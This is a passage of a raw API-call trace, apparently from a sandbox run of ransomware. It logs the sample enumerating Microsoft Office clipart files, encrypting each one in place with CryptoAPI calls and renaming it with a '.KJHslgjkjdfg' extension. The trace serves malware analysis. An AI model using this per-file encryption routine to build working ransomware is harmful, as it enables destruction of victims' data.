liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.404] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2cec, lpOverlapped=0x0) returned 1 [0155.405] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2cf0) returned 1 [0155.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.405] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2cf0, lpOverlapped=0x0) returned 1 [0155.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.405] SetEndOfFile (hFile=0x114) returned 1 [0155.408] GetProcessHeap () returned 0x2a0000 [0155.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.408] GetProcessHeap () returned 0x2a0000 [0155.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.kjhslgjkjdfg")) returned 1 [0155.409] CloseHandle (hObject=0x114) returned 1 [0155.410] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0155.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.411] GetProcessHeap () returned 0x2a0000 [0155.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.411] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.412] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.419] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.419] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.419] GetProcessHeap () returned 0x2a0000 [0155.419] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.419] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.419] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.419] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.420] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.420] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.420] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.420] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.420] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.420] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.420] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1138, lpOverlapped=0x0) returned 1 [0155.435] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1140, dwBufLen=0x1140 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1140) returned 1 [0155.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.435] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1140, lpOverlapped=0x0) returned 1 [0155.435] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.435] SetEndOfFile (hFile=0x114) returned 1 [0155.438] GetProcessHeap () returned 0x2a0000 [0155.438] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.438] GetProcessHeap () returned 0x2a0000 [0155.438] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.kjhslgjkjdfg")) returned 1 [0155.440] CloseHandle (hObject=0x114) returned 1 [0155.440] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0155.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.440] GetProcessHeap () returned 0x2a0000 [0155.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.441] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.441] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.441] GetProcessHeap () returned 0x2a0000 [0155.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.441] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.441] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.478] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.478] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.478] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.479] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.479] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1870, lpOverlapped=0x0) returned 1 [0155.511] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1870, dwBufLen=0x1870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1870) returned 1 [0155.511] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.511] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1870, lpOverlapped=0x0) returned 1 [0155.512] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.512] SetEndOfFile (hFile=0x114) returned 1 [0155.516] GetProcessHeap () returned 0x2a0000 [0155.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.516] GetProcessHeap () returned 0x2a0000 [0155.516] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.kjhslgjkjdfg")) returned 1 [0155.517] CloseHandle (hObject=0x114) returned 1 [0155.518] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0155.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.520] GetProcessHeap () returned 0x2a0000 [0155.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.520] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.522] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.522] GetProcessHeap () returned 0x2a0000 [0155.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.522] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.522] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.522] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.523] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.523] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.523] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.523] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.523] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4c14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4c14, lpOverlapped=0x0) returned 1 [0155.524] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c20) returned 1 [0155.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.525] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c20, lpOverlapped=0x0) returned 1 [0155.525] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.525] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.525] SetEndOfFile (hFile=0x114) returned 1 [0155.537] GetProcessHeap () returned 0x2a0000 [0155.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.537] GetProcessHeap () returned 0x2a0000 [0155.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.kjhslgjkjdfg")) returned 1 [0155.539] CloseHandle (hObject=0x114) returned 1 [0155.539] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0155.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.539] GetProcessHeap () returned 0x2a0000 [0155.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.539] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.540] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.548] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.548] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.548] GetProcessHeap () returned 0x2a0000 [0155.548] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.548] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.548] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.548] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.548] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.548] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.549] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.549] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.549] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.549] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xeb8, lpOverlapped=0x0) returned 1 [0155.549] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xec0, dwBufLen=0xec0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xec0) returned 1 [0155.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.549] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 